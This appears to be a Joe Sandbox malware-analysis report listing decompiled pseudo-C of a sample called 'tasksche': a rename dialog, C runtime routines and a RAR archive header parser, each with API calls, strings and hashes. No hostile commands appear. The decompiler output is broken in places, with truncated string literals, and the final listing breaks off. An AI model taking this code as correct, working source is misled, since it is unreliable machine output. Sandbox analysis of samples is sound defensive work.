Instruction ID: 2ec29a5f94ea44b227bd1a9c17bea14e87d691145e51ce1093468d312523c58d
Opcode Fuzzy Hash: 8a5930b9f1bd4a7920270691445133db6bb9d1af5357342886f90841ecad1a96
Instruction Fuzzy Hash: B71159717002445BEB21DF62AC80B973B99AB08765F08007BFD446B2D1C7BC8CA0C76D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D3EE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040D3EE(void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR* _a16) {
				void* _t11;
				void* _t17;
				void* _t21;
				struct HWND__* _t22;
				WCHAR* _t23;

				_t23 = _a16;
				_t22 = _a4;
				if(E004060EE(_t21, _t22, _a8, _a12, _t23, L"RENAMEDLG", 0, 0) != 0) {
					L10:
					return 1;
				}
				_t11 = _a8 - 0x110;
				if(_t11 == 0) {
					 *0x44cf28 = _t23;
					SetDlgItemTextW(_t22, 0x65, _t23);
					SetDlgItemTextW(_t22, 0x66,  *0x44cf28);
					goto L10;
				}
				if(_t11 != 1) {
					L5:
					return 0;
				}
				_t17 = (_a12 & 0x0000ffff) - 1;
				if(_t17 == 0) {
					GetDlgItemTextW(_t22, 0x66,  *0x44cf28, 0x800);
					_push(1);
					L7:
					EndDialog(_t22, ??);
					goto L10;
				}
				if(_t17 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x0040d3f2
0x0040d3f6
0x0040d411
0x0040d46e
0x00000000
0x0040d470
0x0040d416
0x0040d41b
0x0040d454
0x0040d461
0x0040d46c
0x00000000
0x0040d46c
0x0040d41e
0x0040d42a
0x00000000
0x0040d42a
0x0040d424
0x0040d425
0x0040d447
0x0040d44d
0x0040d430
0x0040d431
0x00000000
0x0040d431
0x0040d428
0x0040d42e
0x00000000
0x0040d42e
0x00000000

APIs

EndDialog.USER32(?,00000001), ref: 0040D431
GetDlgItemTextW.USER32(?,00000066,00000800), ref: 0040D447
SetDlgItemTextW.USER32 ref: 0040D461
SetDlgItemTextW.USER32 ref: 0040D46C

Strings

RENAMEDLG, xrefs: 0040D3FD

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ItemText$Dialog
String ID: RENAMEDLG
API String ID: 1770891597-3299779563
Opcode ID: 762bcebfea9f2beca08e3ffb6bbc5115bfac0753acb3b7587415e25b8287d6f5
Instruction ID: a809f9c23db95260371581c6ee5cd384337b37eb9584205a8113e0e6bfd29c9a
Opcode Fuzzy Hash: 762bcebfea9f2beca08e3ffb6bbc5115bfac0753acb3b7587415e25b8287d6f5
Instruction Fuzzy Hash: 6F01D836A4421877DB205F949C41FBB3B69E705F50F544036FA01B61D0C6BAA8269BAE

Uniqueness

Uniqueness Score: -1.00%

Function 00405F3C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E00405F3C(intOrPtr __ecx, void* __eflags) {
				void* __edi;
				void* __esi;
				intOrPtr _t31;
				void* _t33;

				E0041A4DC(E0042961B, _t33);
				_push(__ecx);
				_push("\xef\xbf\xb				_push(E00405E1B);
				_push(4);
				_t31 = __ecx;
				_push(0x12c);
				_push(__ecx);
				 *((intOrPtr*)(_t33 - 0x10)) = __ecx;
				E0041C6B6(__ecx, __eflags);
				_push("\xef\xbf\xb				_push(E00405E1B);
				_push(4);
				_push(0x178);
				_t22 = _t31 + 0x4b4;
				_push(_t31 + 0x4b4);
				 *((intOrPtr*)(_t33 - 4)) = 0;
				E0041C6B6(_t31, 0);
				 *((char*)(_t33 - 4)) = 1;
				E0040CA39(_t31 + 0xa9c);
				 *((intOrPtr*)(_t31 + 0xa98)) = 0;
				E0041A820(0, _t31, 0, 0x4b0);
				E0041A820(0, _t22, 0, 0x5e0);
				 *((intOrPtr*)(_t31 + 0x4b0)) = 0;
				 *((intOrPtr*)(_t31 + 0xa94)) = 0;
				E0041A820(0, _t31 + 0xba4, 0, 0x400);
				 *[fs:0x0] =  *((intOrPtr*)(_t33 - 0xc));
				return _t31;
			}

0x00405f41
0x00405f46
0x00405f4a
0x00405f4f
0x00405f54
0x00405f56
0x00405f58
0x00405f5d
0x00405f5e
0x00405f61
0x00405f66
0x00405f6b
0x00405f70
0x00405f72
0x00405f77
0x00405f7f
0x00405f80
0x00405f83
0x00405f8e
0x00405f92
0x00405f9e
0x00405fa4
0x00405fb0
0x00405fc2
0x00405fc8
0x00405fce
0x00405fde
0x00405fe6

APIs

__EH_prolog.LIBCMT ref: 00405F41
_memset.LIBCMT ref: 00405FA4
_memset.LIBCMT ref: 00405FB0
_memset.LIBCMT ref: 00405FCE

Strings

r, xrefs: 00405F4A, 00405F66

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog
String ID: r
API String ID: 3013590873-3291565091
Opcode ID: adb95f05f7a194937a5df8f484bb6bf36145664ded8c6b0a2324601c3f7e7fd4
Instruction ID: fcb346f71e1c6521d09fa93fcec7134e0802dca7d1a5d7d76298086db4932847
Opcode Fuzzy Hash: adb95f05f7a194937a5df8f484bb6bf36145664ded8c6b0a2324601c3f7e7fd4
Instruction Fuzzy Hash: 880144B17417407AD220EB669C46FEBBAA8DB85B18F00041FB255661C2C7FC5941CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 0041DAD4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0041DAD4(void* __edx, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				intOrPtr _t11;
				intOrPtr* _t15;
				intOrPtr* _t19;
				void* _t23;
				void* _t25;

				_t24 = __edx;
				_t11 =  *((intOrPtr*)( *_a4));
				if(_t11 == 0xe0434f4d) {
					__eflags =  *((intOrPtr*)(E0041E9B4(_t23, __edx, _t25, __eflags) + 0x90));
					if(__eflags > 0) {
						_t15 = E0041E9B4(_t23, __edx, _t25, __eflags) + 0x90;
						 *_t15 =  *_t15 - 1;
						__eflags =  *_t15;
					}
					goto L5;
				} else {
					_t32 = _t11 - 0xe06d7363;
					if(_t11 != 0xe06d7363) {
						L5:
						__eflags = 0;
						return 0;
					} else {
						 *(E0041E9B4(_t23, __edx, _t25, _t32) + 0x90) =  *(_t16 + 0x90) & 0x00000000;
						_push(8);
						_push(0x42d8f0);
						E0041FA9C(_t23, _t25, __esi);
						_t19 =  *((intOrPtr*)(E0041E9B4(_t23, __edx, _t25, _t32) + 0x78));
						if(_t19 != 0) {
							_v8 = _v8 & 0x00000000;
							 *_t19();
							_v8 = 0xfffffffe;
						}
						return E0041FAE1(E00423F89(_t23, _t24, _t25));
					}
				}
			}

0x0041dad4
0x0041dade
0x0041dae5
0x0041db04
0x0041db0b
0x0041db12
0x0041db17
0x0041db17
0x0041db17
0x00000000
0x0041dae7
0x0041dae7
0x0041daec
0x0041db19
0x0041db19
0x0041db1c
0x0041daee
0x0041daf3
0x0041ec8a
0x0041ec8c
0x0041ec91
0x0041ec9b
0x0041eca0
0x0041eca2
0x0041eca6
0x0041ecb1
0x0041ecb1
0x0041ecc2
0x0041ecc2
0x0041daec

APIs

__getptd.LIBCMT ref: 0041DAEE

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 0041DAFF
__getptd.LIBCMT ref: 0041DB0D

Strings

csm, xrefs: 0041DAE7
MOC, xrefs: 0041DAE0

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$csm
API String ID: 803148776-1389381023
Opcode ID: ff76af2ab1f2bc655f60c8d28124db9f091a0a07b538bc98cf4441336e04e070
Instruction ID: 7ce874268d128f0e9cc5e4e4439fd54cca852ebc00a18d755191ea46e2ae681e
Opcode Fuzzy Hash: ff76af2ab1f2bc655f60c8d28124db9f091a0a07b538bc98cf4441336e04e070
Instruction Fuzzy Hash: 8EE048755141048FDB50976AC445FA93394EB48318F1504A7E80CC7353D77CE8C0558B

Uniqueness

Uniqueness Score: -1.00%

Function 00421BA7 Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E00421BA7(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x42d9d0);
				E0041FA9C(__ebx, __edi, __esi);
				_t31 = E0041E9B4(__ebx, __edx, __edi, _t35);
				_t15 =  *0x430da4; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E0041EFA3(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x430ca8; // 0x21e16c8
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x430880;
								if(__eflags != 0) {
									_push(_t33);
									E0041A506(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x430ca8; // 0x21e16c8
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x430ca8; // 0x21e16c8
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00421C42();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E00421495(_t29, _t31, 0x20);
				}
				return E0041FAE1(_t33);
			}

0x00421ba7
0x00421ba7
0x00421ba7
0x00421ba7
0x00421ba9
0x00421bae
0x00421bb8
0x00421bba
0x00421bc2
0x00421be3
0x00421be9
0x00421bed
0x00421bf0
0x00421bf3
0x00421bf9
0x00421bfb
0x00421bfd
0x00421c00
0x00421c06
0x00421c08
0x00421c0a
0x00421c10
0x00421c12
0x00421c13
0x00421c18
0x00421c10
0x00421c08
0x00421c19
0x00421c1e
0x00421c21
0x00421c27
0x00421c2b
0x00421c2b
0x00421c31
0x00421c38
0x00421bca
0x00421bca
0x00421bca
0x00421bcf
0x00421bd3
0x00421bd8
0x00421be0

APIs

__getptd.LIBCMT ref: 00421BB3

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__amsg_exit.LIBCMT ref: 00421BD3
__lock.LIBCMT ref: 00421BE3
InterlockedDecrement.KERNEL32(?), ref: 00421C00
InterlockedIncrement.KERNEL32(021E16C8), ref: 00421C2B

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 74e5199f409b0e250bccaee7949834ceac0f5e9eb7994a886cf19954e8f2a892
Instruction ID: 6d4d6cab2ca80c9586acdc371c3e58b42f7918e3e726cea937426c24952e9619
Opcode Fuzzy Hash: 74e5199f409b0e250bccaee7949834ceac0f5e9eb7994a886cf19954e8f2a892
Instruction Fuzzy Hash: 8401C439B40731ABC728AF56A40679E7760BF10724F94012BE804AB3A1CB3C6991DBDD

Uniqueness

Uniqueness Score: -1.00%

Function 00411E81 Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411E81(void* __eflags, short* _a4, short* _a8, int _a12) {
				void* _t8;
				int _t12;
				int _t22;
				int _t23;

				_t8 = E0041A7AF(_a4);
				_t22 = _a12;
				if(_t8 + 1 >= _t22) {
					_t23 = _t22;
				} else {
					_t23 = E0041A7AF(_a4) + 1;
				}
				if(E0041A7AF(_a8) + 1 >= _t22) {
					_t12 = _t22;
				} else {
					_t12 = E0041A7AF(_a8) + 1;
				}
				return CompareStringW(0x400, 0x1001, _a4, _t23, _a8, _t12);
			}

0x00411e89
0x00411e8e
0x00411e95
0x00411ea5
0x00411e97
0x00411ea2
0x00411ea2
0x00411eb3
0x00411ec1
0x00411eb5
0x00411ebe
0x00411ebe
0x00411ee0

APIs

_wcslen.LIBCMT ref: 00411E89
_wcslen.LIBCMT ref: 00411E9A
_wcslen.LIBCMT ref: 00411EAA
_wcslen.LIBCMT ref: 00411EB8
CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,?,00000000,?,00409F60,__rar_,00000000,00000006,?,?,00000000), ref: 00411ED5

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen$CompareString
String ID:
API String ID: 3397213944-0
Opcode ID: a78696411e0fb58170a85e42f91a72465e9b1cb7d1a352a10a0ff52bf1fcbbb8
Instruction ID: fd224344e63f22d7e065bf6fa160c6ce473b51916626f6dd2966927fcf662de7
Opcode Fuzzy Hash: a78696411e0fb58170a85e42f91a72465e9b1cb7d1a352a10a0ff52bf1fcbbb8
Instruction Fuzzy Hash: 5FF02436148148BFDF126F92EC01CDE3F26DB81375B244027FE298A0A0D635C9A29789

Uniqueness

Uniqueness Score: -1.00%

Function 0040272E Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 405
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040272E(intOrPtr __ecx, signed int __edx) {
				signed int _t142;
				char _t143;
				void* _t147;
				signed int _t148;
				unsigned int _t149;
				signed int _t153;
				signed int _t170;
				signed int _t173;
				void* _t178;
				signed int _t179;
				void* _t182;
				signed char _t183;
				void* _t196;
				void* _t205;
				signed char _t207;
				void* _t217;
				signed char _t218;
				void* _t232;
				signed char _t234;
				signed int _t235;
				signed int _t239;
				signed int _t246;
				void* _t247;
				signed char _t250;
				void* _t251;
				char* _t252;
				void* _t253;
				intOrPtr _t255;
				signed int _t260;
				intOrPtr _t262;
				signed char _t277;
				signed char _t280;
				signed char _t283;
				intOrPtr _t307;
				intOrPtr _t310;
				signed int _t312;
				signed char _t314;
				signed char _t316;
				void* _t318;
				void* _t320;
				signed int _t326;
				signed int _t339;

				_t312 = __edx;
				_t318 = _t320 - 0x6c;
				E0041AAF0(0x20c0);
				_t314 =  *(_t318 + 0x74);
				 *((intOrPtr*)(_t318 + 0x68)) = __ecx;
				_t255 =  *((intOrPtr*)(_t314 + 0x14));
				_t142 = _t255 -  *(_t318 + 0x78);
				if(_t142 <  *(_t314 + 0x18)) {
					L83:
					return _t142;
				}
				 *(_t314 + 0x18) = _t142;
				if(_t255 - _t142 >= 2) {
					_t316 =  *(_t318 + 0x7c);
					while(1) {
						_t142 = E0040B60D(_t312);
						 *(_t318 + 0x64) = _t312;
						if((_t142 | _t312) == 0) {
							break;
						}
						_t260 =  *(_t314 + 0x18);
						_t312 =  *((intOrPtr*)(_t314 + 0x14)) - _t260;
						if(_t312 == 0) {
							break;
						}
						_t326 =  *(_t318 + 0x64);
						if(_t326 > 0 || _t326 >= 0 && _t142 > _t312) {
							break;
						} else {
							_t246 = _t260 + _t142;
							 *(_t318 + 0x78) = _t246;
							_t143 = E0040B60D(_t312);
							_t247 = _t246 -  *(_t314 + 0x18);
							 *(_t318 + 0x64) =  *(_t318 + 0x64) & 0x00000000;
							 *((intOrPtr*)(_t318 + 0x58)) = _t143;
							 *(_t318 + 0x5c) = _t312;
							if( *((intOrPtr*)(_t316 + 4)) == 1 && _t143 == 1 && _t312 == 0) {
								 *((char*)(_t316 + 0x1e)) = _t143;
								_t234 = E0040B60D(_t312);
								 *(_t318 + 0x74) = _t234;
								if((_t234 & 0x00000001) != 0) {
									_t239 = E0040B60D(_t312);
									 *(_t318 + 0x4c) = _t239;
									if((_t239 | _t312) != 0) {
										_t310 =  *((intOrPtr*)(_t318 + 0x68));
										asm("adc ecx, edx");
										 *((intOrPtr*)(_t316 + 0x20)) =  *((intOrPtr*)(_t310 + 0xb040)) +  *(_t318 + 0x4c);
										 *((intOrPtr*)(_t316 + 0x24)) =  *((intOrPtr*)(_t310 + 0xb044));
									}
								}
								if(( *(_t318 + 0x74) & 0x00000002) != 0) {
									_t235 = E0040B60D(_t312);
									 *(_t318 + 0x44) = _t235;
									if((_t235 | _t312) != 0) {
										_t307 =  *((intOrPtr*)(_t318 + 0x68));
										asm("adc ecx, edx");
										 *((intOrPtr*)(_t316 + 0x30)) =  *((intOrPtr*)(_t307 + 0xb040)) +  *(_t318 + 0x44);
										 *((intOrPtr*)(_t316 + 0x34)) =  *((intOrPtr*)(_t307 + 0xb044));
									}
								}
							}
							_t262 =  *((intOrPtr*)(_t316 + 4));
							if(_t262 == 2 || _t262 == 3) {
								_t312 = 0;
								_t339 =  *(_t318 + 0x5c);
								if(_t339 > 0 || _t339 >= 0 &&  *((intOrPtr*)(_t318 + 0x58)) > 7) {
									goto L81;
								} else {
									_t147 =  *((intOrPtr*)(_t318 + 0x58)) - 1;
									if(_t147 == 0) {
										_t148 = E0040B60D(_t312);
										__eflags = _t148;
										if(_t148 <= 0) {
											_t149 = E0040B60D(_t312);
											 *(_t316 + 0x10b1) = _t149 & 0x00000001;
											 *(_t316 + 0x10ba) = _t149 >> 0x00000001 & 0x00000001;
											_t153 = E0040B562(_t314) & 0x000000ff;
											 *(_t316 + 0x10dc) = _t153;
											__eflags = _t153 - 0x18;
											if(_t153 > 0x18) {
												E00401CA3( *((intOrPtr*)(_t318 + 0x68)), _t316 + 0x20);
											}
											E0040B696(_t314, _t316 + 0x1091, 0x10);
											E0040B696(_t314, _t316 + 0x10a1, 0x10);
											__eflags =  *(_t316 + 0x10b1);
											if( *(_t316 + 0x10b1) != 0) {
												_t248 = _t316 + 0x10b2;
												E0040B696(_t314, _t316 + 0x10b2, 8);
												E0040B696(_t314, _t318 + 0x54, 4);
												E004106AE(_t318 - 0x54);
												E004109B0(_t318 - 0x54, _t316 + 0x10b2, 8);
												E00410A29(_t314, _t312, __eflags, _t318 - 0x54, _t318 + 0x24);
												_t170 = E0041AC04(_t318 + 0x54, _t318 + 0x24, 4);
												_t320 = _t320 + 0xc;
												asm("sbb al, al");
												__eflags =  *((intOrPtr*)(_t316 + 4)) - 3;
												 *(_t316 + 0x10b1) =  ~_t170 + 1;
												if( *((intOrPtr*)(_t316 + 4)) == 3) {
													_t173 = E0041AC04(_t248, 0x42a49c, 8);
													_t320 = _t320 + 0xc;
													__eflags = _t173;
													if(_t173 == 0) {
														 *(_t316 + 0x10b1) = _t173;
													}
												}
											}
											 *((char*)(_t316 + 0x1090)) = 1;
											 *((intOrPtr*)(_t316 + 0x108c)) = 5;
											 *((char*)(_t316 + 0x108b)) = 1;
										} else {
											E00401CA3( *((intOrPtr*)(_t318 + 0x68)), _t316 + 0x20);
										}
										goto L81;
									}
									_t178 = _t147 - 1;
									if(_t178 == 0) {
										_t179 = E0040B60D(_t312);
										__eflags = _t179;
										if(_t179 != 0) {
											goto L81;
										}
										_push(0x20);
										 *((intOrPtr*)(_t316 + 0x1060)) = 3;
										_push(_t316 + 0x1064);
										L33:
										E0040B696(_t314);
										goto L81;
									}
									_t182 = _t178 - 1;
									if(_t182 == 0) {
										__eflags =  *(_t318 + 0x64) - _t312;
										if(__eflags < 0) {
											goto L81;
										}
										if(__eflags > 0) {
											L58:
											_t183 = E0040B60D(_t312);
											_t250 = _t183 & 0x00000001;
											 *(_t318 + 0x77) = _t183;
											__eflags = _t183 & 0x00000002;
											if((_t183 & 0x00000002) != 0) {
												_t283 = _t314;
												__eflags = _t250;
												if(__eflags == 0) {
													E00411383(_t316 + 0x1030, E0040B5EC(_t283, __eflags), _t312);
												} else {
													E00411357(_t316 + 0x1030, _t312, E0040B5AF(_t283), 0);
												}
											}
											__eflags =  *(_t318 + 0x77) & 0x00000004;
											if(( *(_t318 + 0x77) & 0x00000004) != 0) {
												_t280 = _t314;
												__eflags = _t250;
												if(__eflags == 0) {
													E00411383(_t316 + 0x1038, E0040B5EC(_t280, __eflags), _t312);
												} else {
													E00411357(_t316 + 0x1038, _t312, E0040B5AF(_t280), 0);
												}
											}
											__eflags =  *(_t318 + 0x77) & 0x00000008;
											if(( *(_t318 + 0x77) & 0x00000008) != 0) {
												_t277 = _t314;
												__eflags = _t250;
												if(__eflags == 0) {
													E00411383(_t316 + 0x1040, E0040B5EC(_t277, __eflags), _t312);
												} else {
													E00411357(_t316 + 0x1040, _t312, E0040B5AF(_t277), 0);
												}
											}
											goto L81;
										}
										__eflags = _t247 - 9;
										if(_t247 < 9) {
											goto L81;
										}
										goto L58;
									}
									_t196 = _t182 - 1;
									if(_t196 == 0) {
										__eflags =  *(_t318 + 0x64) - _t312;
										if(__eflags < 0) {
											goto L81;
										}
										if(__eflags > 0) {
											L53:
											E0040B60D(_t312);
											__eflags = E0040B60D(_t312);
											if(__eflags != 0) {
												 *((char*)(_t316 + 0x10e3)) = 1;
												E0040BC16(_t318 + 0x1c, 0x14, ";%u", _t198);
												_t320 = _t320 + 0x10;
												E00410BC9(__eflags,  *((intOrPtr*)(_t318 + 0x68)) + 0x6608, _t318 + 0x1c, 0x800);
											}
											goto L81;
										}
										__eflags = _t247 - 1;
										if(_t247 < 1) {
											goto L81;
										}
										goto L53;
									}
									_t205 = _t196 - 1;
									if(_t205 == 0) {
										 *((intOrPtr*)(_t316 + 0x10f0)) = E0040B60D(_t312);
										_t207 = E0040B60D(_t312);
										_t290 = _t314;
										 *(_t316 + 0x20f4) = _t207 & 0x00000001;
										_t251 = E0040B60D(_t312);
										 *((char*)(_t318 - 0x2054)) = 0;
										__eflags = _t251 - 0x1fff;
										if(_t251 < 0x1fff) {
											_t290 = _t314;
											E0040B696(_t314, _t318 - 0x2054, _t251);
											 *((char*)(_t318 + _t251 - 0x2054)) = 0;
										}
										E0040A277(_t318 - 0x2054, _t318 - 0x2054, 0x2000);
										E00411CD1(_t290, _t318 - 0x2054, _t316 + 0x10f4, 0x800);
										goto L81;
									}
									_t217 = _t205 - 1;
									if(_t217 == 0) {
										_t218 = E0040B60D(_t312);
										 *(_t316 + 0x20f6) = _t218 >> 0x00000002 & 0x00000001;
										_t252 = _t316 + 0x20f8;
										 *(_t318 + 0x7c) = _t218;
										 *(_t316 + 0x20f7) = _t218 >> 0x00000003 & 0x00000001;
										 *((char*)(_t316 + 0x21f8)) = 0;
										 *_t252 = 0;
										__eflags = _t218 & 0x00000001;
										if((_t218 & 0x00000001) != 0) {
											 *(_t318 + 0x74) = E0040B60D(_t312);
											__eflags =  *(_t318 + 0x74) - 0xff;
											if( *(_t318 + 0x74) >= 0xff) {
												 *(_t318 + 0x74) = 0xff;
											}
											E0040B696(_t314, _t252,  *(_t318 + 0x74));
											 *((char*)(_t252 +  *(_t318 + 0x74))) = 0;
										}
										__eflags =  *(_t318 + 0x7c) & 0x00000002;
										if(( *(_t318 + 0x7c) & 0x00000002) != 0) {
											 *(_t318 + 0x74) = E0040B60D(_t312);
											__eflags =  *(_t318 + 0x74) - 0xff;
											if( *(_t318 + 0x74) >= 0xff) {
												 *(_t318 + 0x74) = 0xff;
											}
											_t253 = _t316 + 0x21f8;
											E0040B696(_t314, _t253,  *(_t318 + 0x74));
											 *((char*)(_t253 +  *(_t318 + 0x74))) = 0;
										}
										__eflags =  *(_t316 + 0x20f6);
										if( *(_t316 + 0x20f6) != 0) {
											 *((intOrPtr*)(_t316 + 0x22f8)) = E0040B60D(_t312);
										}
										__eflags =  *(_t316 + 0x20f7);
										if( *(_t316 + 0x20f7) != 0) {
											 *((intOrPtr*)(_t316 + 0x22fc)) = E0040B60D(_t312);
										}
										 *((char*)(_t316 + 0x20f5)) = 1;
										goto L81;
									}
									if(_t217 != 1) {
										goto L81;
									}
									if(_t262 == 3) {
										_t232 =  *((intOrPtr*)(_t314 + 0x14)) -  *(_t318 + 0x78);
										if(_t232 == 1) {
											_t247 = _t247 + _t232;
											asm("adc eax, edx");
										}
									}
									E00401C1D(_t316 + 0x1020, _t247);
									_push(_t247);
									_push( *((intOrPtr*)(_t316 + 0x1020)));
									goto L33;
								}
							} else {
								L81:
								 *(_t314 + 0x18) =  *(_t318 + 0x78);
								_t142 =  *((intOrPtr*)(_t314 + 0x14)) -  *(_t314 + 0x18);
								if(_t142 >= 2) {
									continue;
								}
								break;
							}
						}
					}
				}
			}

0x0040272e
0x0040272f
0x00402738
0x0040273e
0x00402741
0x00402744
0x00402749
0x0040274f
0x00402c84
0x00402c88
0x00402c88
0x00402757
0x0040275d
0x00402764
0x00402768
0x0040276a
0x00402773
0x00402776
0x00000000
0x00000000
0x0040277c
0x00402782
0x00402784
0x00000000
0x00000000
0x0040278c
0x0040278f
0x00000000
0x0040279f
0x0040279f
0x004027a4
0x004027a7
0x004027ac
0x004027af
0x004027b7
0x004027ba
0x004027bd
0x004027ca
0x004027cd
0x004027d2
0x004027d7
0x004027db
0x004027e0
0x004027e5
0x004027e7
0x004027f9
0x004027fb
0x004027fe
0x004027fe
0x004027e5
0x00402805
0x00402809
0x0040280e
0x00402813
0x00402815
0x00402827
0x00402829
0x0040282c
0x0040282c
0x00402813
0x00402805
0x0040282f
0x00402835
0x00402840
0x00402842
0x00402845
0x00000000
0x00402857
0x0040285a
0x0040285b
0x00402b57
0x00402b5c
0x00402b5e
0x00402b73
0x00402b7f
0x00402b89
0x00402b94
0x00402b97
0x00402b9d
0x00402ba0
0x00402ba9
0x00402ba9
0x00402bb9
0x00402bc9
0x00402bce
0x00402bd5
0x00402bd9
0x00402be2
0x00402bef
0x00402bf8
0x00402c04
0x00402c11
0x00402c20
0x00402c25
0x00402c2a
0x00402c2e
0x00402c32
0x00402c38
0x00402c42
0x00402c47
0x00402c4a
0x00402c4c
0x00402c4e
0x00402c4e
0x00402c4c
0x00402c38
0x00402c54
0x00402c5b
0x00402c65
0x00402b60
